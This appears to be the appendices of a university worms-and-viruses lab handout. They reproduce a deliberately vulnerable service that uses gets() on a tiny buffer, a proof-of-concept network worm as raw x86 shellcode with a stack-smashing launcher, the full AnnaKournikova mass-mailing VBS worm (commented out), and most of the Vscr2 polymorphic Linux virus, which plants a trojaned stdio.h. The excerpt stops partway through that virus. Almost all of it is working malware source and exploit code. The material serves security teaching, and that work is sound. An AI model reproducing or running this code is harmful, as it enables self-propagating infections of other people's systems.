Appendix A: vuln_service.c (ignore name remote.c in comments) /* File: remote.c * * Author: Chris Church * Class: ECE 4883 * Lab: Worms and Virus Lab * 2003.03.20 * Purpose: a generic, simple, vulnerable network service * * Adapted from code borrowed from Amul Shah for Buffer Overflow Lab * */ #include "lab/stackinfo.h" #define BUFFER_SIZE 16 #define ONEK 1024 #define HALFK 512 char sendbuff[ONEK]; void svcHandle(int sockfd); unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } int main(int argc, char *argv[]) { int sockfd, newsockfd; struct sockaddr_in clientaddr, serveraddr; int clientaddrlength; int pid; int PORTNUMBER = 3333; int yes = 1; char padding[1000]; // Open a TCP socket if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { perror("socket"); exit(-1); } else { fprintf(stdout, "TCP socket opened \n"); } setsockopt( sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)); // Set up structures to bind the address to the socket. bzero(&serveraddr, sizeof(serveraddr)); serveraddr.sin_family = htons(AF_INET); serveraddr.sin_addr.s_addr = htonl(INADDR_ANY); serveraddr.sin_port = htons(PORTNUMBER); // bind the socket to a well-known port if (bind(sockfd, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) != 0) { perror("can't bind to socket"); exit(-1); } else {

24

fprintf(stdout, "port %d is bound \n", ntohs(serveraddr.sin_port)); } if (listen(sockfd, 128) < 0) { perror("listen"); exit(-1); } else { fprintf(stdout, "server has begun listening \n"); } /* * This server waits until a new connection comes in. * It then fork()s and lets its child handle the incoming * requests. * The parent goes back and waits to accept new connections. */ clientaddrlength = sizeof(clientaddr); while ( (newsockfd = accept(sockfd, (struct sockaddr *) &clientaddr, &clientaddrlength)) >= 0) { svcHandle(newsockfd); close(newsockfd); } // reach here only on an accept error perror("accept"); exit(-1); } void svcHandle(int sockfd) { //char paddington[HALFK]; char userinput[4]; //if ( (dup2( sockfd, STDOUT_FILENO)) < 0 ) // { // perror("svcHandle: Error STDOUT_FILENO"); // return; // } if ( (dup2( sockfd, STDIN_FILENO)) < 0 ) { perror("svcHandle: Error STDOUT_FILENO"); return; } //bzero( userinput, BUFFER_SIZE); bzero (userinput, 4); printf( "1- Input:%s(%d)\n", userinput, strlen(userinput)); printf( "please input a 16 character string:\n"); printf("user input = %x\n",userinput); SHOW_STACK gets( userinput); SHOW_STACK /* for(userinput[0]=0; userinput[0]<10; userinput[0]++){ */ /* printf("%x\n", ((char*)(0xbfffff920))[userinput[0]]); */ /* } */ // inspect_buffer( (void *) userinput, 1 ); // printf( "2- Input:%s(%d)\n", userinput, strlen(userinput));

25

//printf( "2- Input:(%d)\n", strlen(userinput)); //printf("%s\n", userinput); printf("falling off the end!\n"); }

26

Appendix B: worm “source code” /* Small Proof Of Concept WORM (SPOCK-WORM) * by Chris Church (cchurch@cc.gatech.edu) * */ /* PSEUDO CODE * MAIN * For each interface: * find subnet address (x.x.x) * for n = 1..254 * attack x.x.x.n * generate random 32bit num to use as IP * infinite_loop * attack rand_num * rand_num++; * * ATTACK * connect to addr * send addresses * send NOP sled * send code and data * */ #include <stdio.h> char worm[] = "\xe8\x00\x00\x00\x00\x5d\xe9\x8d\x02\x00\x00\x5e\xc6\x46\x00\x02\xc6\x46\x01\x00\xc6\x46\x02\x00\xc6\x46\x03\x00\xc6\x46\x04\x02\xc6\x46\x05\x00\xc6\x46\x06\x00\xc6\x46\x07\x00\xc7\x46\x08\x00\x00\x00\x00\xc6\x46\x08\x11\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xf1\xcd\x80\x89\xc3\xb9\x12\x89\x00\x00\xc7\x86\xf0\x00\x00\x00\xf0\x00\x00\x00\x89\xb6\xf4\x00\x00\x00\x89\xf2\x81\xc2\xf0\x00\x00\x00\xb8\x36\x00\x00\x00\xcd\x80\x83\xf8\x00\x89\xf1\x89\xf2\x8b\x9e\xf0\x00\x00\x00\x01\xda\x39\xd1\x73\x35\x8b\x41\x14\xbb\x01\x00\x00\x00\x60\x66\xc1\xc8\x08\xc1\xc8\x10\x66\xc1\xc8\x08\x88\xd8\x66\xc1\xc8\x08\xc1\xc8\x10\x66\xc1\xc8\x08\xe8\x34\x00\x00\x00\x61\x43\x81\xfb\xfe\x00\x00\x00\x75\xd8\x83\xc1\x20\xeb\xbd\xb8\x01\x01\x01\x01\x50\xe8\x1a\x00\x00\x00\x58\x66\xc1\xc8\x08\xc1\xc8\x10\x66\xc1\xc8\x08\x40\x66\xc1\xc8\x08\xc1\xc8\x10\x66\xc1\xc8\x08\xeb\xe0\x50\xc6\x46\x00\x02\xc6\x46\x01\x00\xc6\x46\x02\x00\xc6\x46\x03\x00\xc6\x46\x04\x01\xc6\x46\x05\x00\xc6\x46\x06\x00\xc6\x46\x07\x00\xc7\x46\x08\x00\x00\x00\x00\xc6\x46\x08\x06\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xf1\xcd\x80\xc6\x46\x00\x02\xc6\x46\x01\x00\xc6\x46\x02\x0d\xc6\x46\x03\x05\x59\x89\x4e\x04\xc7\x46\x08\x00\x00\x00\x00\xc7\x46\x0c\x00\x00\x00\x00\x50\x89\x46\x10\x89\x76\x14\xc7\x46\x18\x10\x00\x00\x00\xb8\x66\x00\x00\x00\xbb\x03\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\xbb\x00\x00\x00\x00\x83\xf8\x83\x72\x0b\x58\x89\xc3\xb8\x06\x00\x00\x00\xcd\x80\xc3\x58\xc7\x46\x00\xef\xbe\xad\xde\xc7\x46\x04\xef\xbe\xad\xde\xc7\x46\x08\x00\xf6\xff\xbf\x89\x46\x10\x89\x76\x14\xc7\x46\x18\x0c\x00\x00\x00\xc7\x46\x1c\x00\x00\x00\x00\x50\xb8\x66\x00\x00\x00\xbb\x09\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\x58\xba\x32\x00\x00\x00\xc7\x46\x00\x90\x90\x90\x90\xc7\x46\x04\x90\x90\x90\x90\xc7\x46\x08\x90\x90\x90\x90\xc7\x46\x0c\x90\x90\x90\x90\x89\x46\x10\x89\x76\x14\xc7\x46\x18\x10\x00\x00\x00\xc7\x46\x1c\x00\x00\x00\x00\x50\xb8\x66\x00\x00\x00\xbb\x09\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\x58\x4a\x83\xfa\x00\x75\xb7\xc6\x46\x00\xe8\xc6\x46\x01\x00\xc6\ x46\x02\x00\xc6\x46\x03\x00\xc6\x46\x04\x00\x89\x46\x10\x89\x76\x14\xc7\x46\x18\x05\x00\x00\x00\xc7\x46\x1c\x00\x00\x00\x00\x50\xb8\x66\x00\x00\x00\xbb\x09\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\x58\x89\x46\x10\x89\xeb\x89\x5e\x14\xc7\x46\x18\x20\x03\x00\x00\xc7\x46\x1c\x00\x00\x00\x00\x50\xb8\x66\x00\x00\x00\xbb\x09\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\x58\xb3\x0b\xfe\xcb\x88\x5e\x00\x88\x5e\x01\x88\x5e\x02\x88\x5e\x03\x89\x46\x10\x89\x76\x14\xc7\x46\x18\x04\x00\x00\x00\xc7\x46\x1c\x00\x00\x00\x00\x50\xb8\x66\x00\x00\x00\xbb\x09\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\x58\x89\xc3\xb8\x06\x00\x00\x00\xcd\x80\xc3\xe8\x6e\xfd\xff\xff\x54\x68\x65\x20\x6e\x65\x65\x64\x73\x20\x6f\x66\x20\x74\x68\x65\x20\x6d\x61\x6e\x79\x20\x6f\x75\x74\x77\x65\x69\x67\x68\x20\x74\x68\x65\x20\x6e\x65\x65\x64\x73\x20\x6f\x66\x20\x74\x68\x65\x20\x66\x65\x77\x2e\x20\x20\x48\x6f\x77\x20\x64\x6f\x20\x79\x6f\x75\x20\x6c\x69\x6b\x65\x20\x6d\x79\x20\x73\x6f\x6c\x75\x74\x69\x6f\x6e\x20\x63\x61\x70\x74\x61\x69\x6e\x3f"; void smashme(); int main() { char freespace[10000]; smashme(); printf("should never ever get here\n"); } void smashme() { int *ret; printf("%x\n",&ret); ret = (int *)&ret + 2; (*ret) = (int)worm; printf("ret = %x\n",ret); printf("worm = %x\n",worm); }

27

Appendix C: AnnaKournikova code 'Vbs.OnTheFly Created By OnTheFly 'On Error Resume Next 'Set WScriptShell = CreateObject("WScript.Shell") 'WScriptShell.regwrite "HKCU\software\OnTheFly\", "Worm made with Vbswg 1.50b" 'Set FileSystemObject= Createobject("scripting.filesystemobject") 'FileSystemObject.copyfile wscript.scriptfullname,FileSystemObject.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs" 'if WScriptShell.regread ("HKCU\software\OnTheFly\mailed") <> "1" then 'doMail() 'end if 'if month(now) =1 and day(now) =26 then 'WScriptShell.run "Http://www.dynabyte.nl",3,false 'end if 'Set thisScript= FileSystemObject.opentextfile(wscript.scriptfullname, 1) 'thisScriptTest= thisScript.readall 'thisScript.Close 'Do 'If Not (FileSystemObject.fileexists(wscript.scriptfullname)) Then 'Set newFile= FileSystemObject.createtextfile(wscript.scriptfullname, True) 'newFile.writethisScriptTest 'newFile.Close 'End If 'Loop 'Function doMail() 'On Error Resume Next 'Set OutlookApp = CreateObject("Outlook.Application") 'If OutlookApp= "Outlook"Then 'Set MAPINameSpace=OutlookApp.GetNameSpace("MAPI") 'Set AddressLists= MAPINameSpace.AddressLists 'For Each address In AddressLists 'If address.AddressEntries.Count <> 0 Then 'entryCount = address.AddressEntries.Count 'For i= 1 To entryCount 'Set newItem = OutlookApp.CreateItem(0) 'Set currentAddress = address.AddressEntries(i) 'newItem.To = currentAddress.Address 'newItem.Subject = "Here you have, ;o)" 'newItem.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & "" 'set attachments=newItem.Attachments 'attachments.Add FileSystemObject.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs" 'newItem.DeleteAfterSubmit = True 'If newItem.To <> "" Then 'newItem.Send 'WScriptShell.regwrite "HKCU\software\OnTheFly\mailed", "1" 'End If 'Next 'End If 'Next 'end if 'End Function 'Vbswg 1.50b

28

Appendix D: Vsrc2.c /* Vscr2.c - a source-code infector with simple mutation/encryption * techniques. * (C)opyright 1998 by the SVAT - group. * * Stealthf0rk/SVAT <stealth@cyberspace.org> * * This virus affects programs that are compiled on a Linux system * that has had the virus run on it, or has been infected by the * virus. * Upon first execution, it places a new stdio.h in the /usr/local/include * directory that replaces the normal file "close()" function with one that * executes the virus. * When a program compiled on an infected Linux system (that uses the close() * function) is transferred to another system, running that program will * execute the virus, creating the new close() function with the virus * code in it. * */ #include "/usr/include/stdio.h" #include <fcntl.h> #include <linux/unistd.h> #include <sys/stat.h> #include <errno.h> #include <unistd.h> #include <string.h> #define CHARS 2663 /* the prototypes*/ int virfunc(void); int Close(int); int Crypt(char *, int); int mutate(char*); /* contains the source file below the BEGIN-line */ /* this allows the program to copy most of itself */ /* this is also the part that is encrypted to make the virus */ /* polymorphic */ char C[] = "\x69\x6e\x74\x20\x63\x6c\x6f\x73\x65\x28\x69\x6e\x74\x20"

29

"\x66\x64\x29\x20\x0a\x7b\x0a\x20\x20\x20\x09\x76\x69\x72\x66" "\x75\x6e\x63\x28\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20" "\x72\x65\x74\x75\x72\x6e\x20\x43\x6c\x6f\x73\x65\x28\x66\x64" "\x29\x3b\x0a\x7d\x0a\x0a\x0a\x69\x6e\x74\x20\x43\x6c\x6f\x73" "\x65\x28\x69\x6e\x74\x20\x69\x29\x0a\x7b\x0a\x20\x20\x20\x09" "\x6c\x6f\x6e\x67\x20\x5f\x5f\x72\x65\x73\x3b\x0a\x20\x20\x20" "\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x5f" "\x5f\x61\x73\x6d\x5f\x5f\x20\x76\x6f\x6c\x61\x74\x69\x6c\x65" "\x20\x28\x22\x69\x6e\x74\x20\x24\x30\x78\x38\x30\x22\x0a\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x09\x3a\x20\x22\x3d\x61\x22\x20\x28\x5f\x5f\x72\x65\x73\x29" "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3a\x20\x22\x30\x22" "\x20\x28\x5f\x5f\x4e\x52\x5f\x63\x6c\x6f\x73\x65\x29\x2c\x22" "\x62\x22\x20\x28\x28\x6c\x6f\x6e\x67\x29\x28\x69\x29\x29\x29" "\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28" "\x5f\x5f\x72\x65\x73\x20\x3e\x3d\x20\x30\x29\x0a\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x09\x72\x65\x74\x75\x72" "\x6e\x20\x28\x69\x6e\x74\x29\x5f\x5f\x72\x65\x73\x3b\x0a\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x65\x72\x72\x6e\x6f\x20\x3d" "\x20\x2d\x5f\x5f\x72\x65\x73\x3b\x0a\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x2d\x31\x3b\x0a\x7d" "\x0a\x0a\x69\x6e\x74\x20\x76\x69\x72\x66\x75\x6e\x63\x28\x76" "\x6f\x69\x64\x29\x0a\x7b\x0a\x20\x20\x20\x09\x46\x49\x4c\x45" "\x20\x2a\x66\x64\x3b\x0a\x20\x20\x20\x09\x73\x74\x61\x74\x69" "\x63\x20\x69\x6e\x74\x20\x66\x69\x72\x73\x74\x20\x3d\x20\x30" "\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6e\x74\x20\x69" "\x20\x3d\x20\x30\x2c\x20\x6a\x20\x3d\x20\x31\x2c\x20\x6f\x6c" "\x64\x6d\x61\x73\x6b\x20\x3d\x20\x30\x3b\x0a\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20" "\x20\x20\x20\x20\x20\x69\x66\x20\x28\x66\x69\x72\x73\x74\x29"

30

"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x09\x72\x65" "\x74\x75\x72\x6e\x20\x30\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6f\x6c\x64\x6d\x61" "\x73\x6b\x20\x3d\x20\x75\x6d\x61\x73\x6b\x28\x30\x29\x3b\x0a" "\x20\x20\x20\x20\x20\x20\x20\x20\x43\x72\x79\x70\x74\x28\x43" "\x2c\x20\x43\x48\x41\x52\x53\x29\x3b\x0a\x20\x20\x20\x20\x20" "\x20\x20\x20\x6d\x6b\x64\x69\x72\x28\x22\x2f\x75\x73\x72\x2f" "\x6c\x6f\x63\x61\x6c\x2f\x69\x6e\x63\x6c\x75\x64\x65\x22\x2c" "\x20\x30\x37\x35\x35\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x20\x75\x6e\x6c\x69\x6e\x6b\x28\x22\x2f\x75\x73\x72\x2f\x6c" "\x6f\x63\x61\x6c\x2f\x69\x6e\x63\x6c\x75\x64\x65\x2f\x73\x74" "\x64\x69\x6f\x2e\x68\x22\x29\x3b\x0a\x20\x20\x20\x20\x20\x20" "\x20\x20\x69\x66\x20\x28\x28\x66\x64\x20\x3d\x20\x66\x64\x6f" "\x70\x65\x6e\x28\x6f\x70\x65\x6e\x28\x22\x2f\x75\x73\x72\x2f" "\x6c\x6f\x63\x61\x6c\x2f\x69\x6e\x63\x6c\x75\x64\x65\x2f\x73" "\x74\x64\x69\x6f\x2e\x68\x22\x2c\x20\x4f\x5f\x43\x52\x45\x41" "\x54\x7c\x4f\x5f\x52\x44\x57\x52\x2c\x20\x30\x36\x34\x34\x29" "\x2c\x20\x22\x77\x2b\x22\x29\x29\x20\x3d\x3d\x20\x4e\x55\x4c" "\x4c\x29\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x09" "\x70\x65\x72\x72\x6f\x72\x28\x22\x66\x6f\x70\x65\x6e\x22\x29" "\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x70\x72\x69\x6e" "\x74\x66\x28\x66\x64\x2c\x20\x22\x23\x69\x6e\x63\x6c\x75\x64" "\x65\x20\x5c\x22\x2f\x75\x73\x72\x2f\x69\x6e\x63\x6c\x75\x64" "\x65\x2f\x73\x74\x64\x69\x6f\x2e\x68\x5c\x22\x5c\x6e\x22\x0a" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x22\x23\x69\x6e\x63\x6c\x75\x64\x65\x20" "\x3c\x66\x63\x6e\x74\x6c\x2e\x68\x3e\x5c\x6e\x22\x0a\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x22\x23\x69\x6e\x63\x6c\x75\x64\x65\x20\x3c\x6c" "\x69\x6e\x75\x78\x2f\x75\x6e\x69\x73\x74\x64\x2e\x68\x3e\x5c" "\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x22\x23\x69\x6e\x63\x6c\x75" "\x64\x65\x20\x3c\x73\x79\x73\x2f\x73\x74\x61\x74\x2e\x68\x3e" "\x5c\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x23\x69\x6e\x63\x6c"

31

"\x75\x64\x65\x20\x3c\x75\x6e\x69\x73\x74\x64\x2e\x68\x3e\x5c" "\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x22\x23\x69\x6e\x63\x6c\x75" "\x64\x65\x20\x3c\x65\x72\x72\x6e\x6f\x2e\x68\x3e\x5c\x6e\x22" "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x22\x23\x69\x6e\x63\x6c\x75\x64\x65" "\x20\x3c\x73\x74\x72\x69\x6e\x67\x2e\x68\x3e\x5c\x6e\x22\x0a" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x22\x23\x64\x65\x66\x69\x6e\x65\x20\x43" "\x48\x41\x52\x53\x20\x25\x64\x5c\x6e\x5c\x6e\x22\x0a\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x22\x69\x6e\x74\x20\x76\x69\x72\x66\x75\x6e\x63" "\x28\x76\x6f\x69\x64\x29\x3b\x5c\x6e\x22\x0a\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x22\x69\x6e\x74\x20\x43\x6c\x6f\x73\x65\x28\x69\x6e\x74" "\x29\x3b\x5c\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x69\x6e\x74" "\x20\x6d\x75\x74\x61\x74\x65\x28\x63\x68\x61\x72\x2a\x29\x3b" "\x5c\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x69\x6e\x74\x20\x43" "\x72\x79\x70\x74\x28\x63\x68\x61\x72\x2a\x2c\x20\x69\x6e\x74" "\x29\x3b\x5c\x6e\x5c\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x63" "\x68\x61\x72\x20\x43\x5b\x5d\x20\x3d\x20\x5c\x6e\x5c\x22\x22" "\x2c\x20\x43\x48\x41\x52\x53\x29\x3b\x0a\x20\x0a\x20\x20\x20" "\x20\x20\x20\x20\x20\x6d\x75\x74\x61\x74\x65\x28\x6b\x65\x79" "\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x43\x72\x79\x70" "\x74\x28\x43\x2c\x20\x43\x48\x41\x52\x53\x29\x3b\x0a\x20\x20" "\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x28\x69\x20\x3d\x20" "\x30\x3b\x20\x69\x20\x3c\x20\x43\x48\x41\x52\x53\x3b\x20\x69" "\x2b\x2b\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x09\x69\x66\x20\x28\x28\x6a\x20\x25\x20\x31\x35\x29" "\x20\x3d\x3d\x20\x30\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x09\x66" "\x70\x72\x69\x6e\x74\x66\x28\x66\x64\x2c\x20\x22\x5c\x22\x5c"

32

"\x6e\x5c\x22\x22\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x6a\x20\x3d\x20\x30\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x09\x66\x70\x72\x69\x6e\x74\x66" "\x28\x66\x64\x2c\x20\x22\x5c\x5c\x78\x25\x30\x32\x78\x22\x2c" "\x20\x28\x75\x6e\x73\x69\x67\x6e\x65\x64\x20\x63\x68\x61\x72" "\x29\x43\x5b\x69\x5d\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x2b\x2b\x3b\x0a\x20" "\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20" "\x20\x20\x66\x70\x72\x69\x6e\x74\x66\x28\x66\x64\x2c\x20\x22" "\x5c\x22\x3b\x5c\x6e\x5c\x6e\x22\x29\x3b\x0a\x20\x20\x20\x20" "\x20\x20\x20\x20\x66\x70\x72\x69\x6e\x74\x66\x28\x66\x64\x2c" "\x20\x22\x5c\x6e\x5c\x6e\x75\x6e\x73\x69\x67\x6e\x65\x64\x20" "\x63\x68\x61\x72\x20\x6b\x65\x79\x5b\x34\x5d\x20\x3d\x20\x7b" "\x30\x78\x25\x30\x32\x78\x2c\x20\x30\x78\x25\x30\x32\x78\x2c" "\x20\x30\x78\x25\x30\x32\x78\x2c\x20\x30\x78\x25\x30\x32\x78" "\x7d\x3b\x5c\x6e\x5c\x6e\x22\x2c\x20\x0a\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x28\x75\x6e\x73\x69\x67\x6e\x65\x64\x20\x63\x68\x61\x72" "\x29\x6b\x65\x79\x5b\x30\x5d\x2c\x20\x28\x75\x6e\x73\x69\x67" "\x6e\x65\x64\x20\x63\x68\x61\x72\x29\x6b\x65\x79\x5b\x31\x5d" "\x2c\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x28\x75\x6e\x73\x69\x67" "\x6e\x65\x64\x20\x63\x68\x61\x72\x29\x6b\x65\x79\x5b\x32\x5d" "\x2c\x20\x28\x75\x6e\x73\x69\x67\x6e\x65\x64\x20\x63\x68\x61" "\x72\x29\x6b\x65\x79\x5b\x33\x5d\x29\x3b\x0a\x20\x20\x20\x20" "\x20\x20\x20\x20\x43\x72\x79\x70\x74\x28\x43\x2c\x20\x43\x48" "\x41\x52\x53\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66" "\x70\x72\x69\x6e\x74\x66\x28\x66\x64\x2c\x20\x22\x25\x73\x22" "\x2c\x20\x43\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66" "\x63\x6c\x6f\x73\x65\x28\x66\x64\x29\x3b\x0a\x20\x20\x20\x20" "\x20\x20\x20\x20\x66\x69\x72\x73\x74\x20\x3d\x20\x31\x3b\x0a" "\x20\x20\x20\x20\x20\x20\x20\x20\x75\x6d\x61\x73\x6b\x28\x6f" "\x6c\x64\x6d\x61\x73\x6b\x29\x3b\x0a\x20\x20\x20\x20\x20\x20"

33

"\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x0a\x7d\x20\x0a" "\x0a\x69\x6e\x74\x20\x43\x72\x79\x70\x74\x28\x63\x68\x61\x72" "\x20\x2a\x73\x2c\x20\x69\x6e\x74\x20\x6c\x65\x6e\x29\x0a\x7b" "\x0a\x20\x20\x20\x09\x69\x6e\x74\x20\x69\x20\x3d\x20\x30\x2c" "\x20\x6a\x20\x3d\x20\x30\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x28" "\x69\x20\x3d\x20\x30\x3b\x20\x69\x20\x3c\x20\x6c\x65\x6e\x3b" "\x20\x69\x2b\x2b\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x09\x73\x5b\x69\x5d\x20\x5e\x3d\x20\x6b\x65" "\x79\x5b\x6a\x5d\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x6a\x20\x3d\x20\x28\x6a\x20\x2b" "\x20\x31\x29\x20\x25\x20\x34\x3b\x0a\x20\x20\x20\x20\x20\x20" "\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x74" "\x75\x72\x6e\x20\x30\x3b\x0a\x7d\x0a\x0a\x69\x6e\x74\x20\x6d" "\x75\x74\x61\x74\x65\x28\x63\x68\x61\x72\x20\x2a\x73\x29\x0a" "\x7b\x0a\x20\x20\x20\x09\x69\x6e\x74\x20\x66\x64\x2c\x20\x69" "\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20" "\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f" "\x72\x20\x28\x69\x20\x3d\x20\x30\x3b\x20\x69\x20\x3c\x20\x34" "\x3b\x20\x69\x2b\x2b\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x09\x69\x66\x20\x28\x28\x66\x64\x20\x3d" "\x20\x6f\x70\x65\x6e\x28\x22\x2f\x64\x65\x76\x2f\x72\x61\x6e" "\x64\x6f\x6d\x22\x2c\x20\x4f\x5f\x52\x44\x4f\x4e\x4c\x59\x29" "\x29\x20\x3c\x3d\x20\x30\x29\x20\x7b\x0a\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x09" "\x70\x65\x72\x72\x6f\x72\x28\x22\x6f\x70\x65\x6e\x22\x29\x3b" "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x74\x75\x72" "\x6e\x20\x65\x72\x72\x6e\x6f\x3b\x0a\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20" "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65" "\x61\x64\x28\x66\x64\x2c\x20\x26\x73\x5b\x69\x5d\x2c\x20\x31" "\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x20\x20\x20\x43\x6c\x6f\x73\x65\x28\x66\x64\x29\x3b\x0a" "\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20"

34

"\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x0a\x7d\x0a" "\x20\x20\x20\x20\x20\x20\x20\x20\x0a"; /* this is the key for the encryption and will be * changed with every infection * and must be 0 at start */ char key[4] = {0}; /*BEGIN-line*/ /* this is where the hex code that is displayed above begins */ /* this is the new close() that replaces the one in the stdio.h * library, as can be seen it executes the virus functionality * before it closes the file */ int close(int fd) { virfunc(); /* execute virus */ return Close(fd); /* close the file */ } /* this is the old close() function renamed Close() and * executed only after the virus has been executed */ int Close(int i) { long __res; __asm__ volatile ("int $0x80" : "=a" (__res) : "0" (__NR_close),"b" ((long)(i))); if (__res >= 0) return (int)__res; errno = -__res; return -1;

35

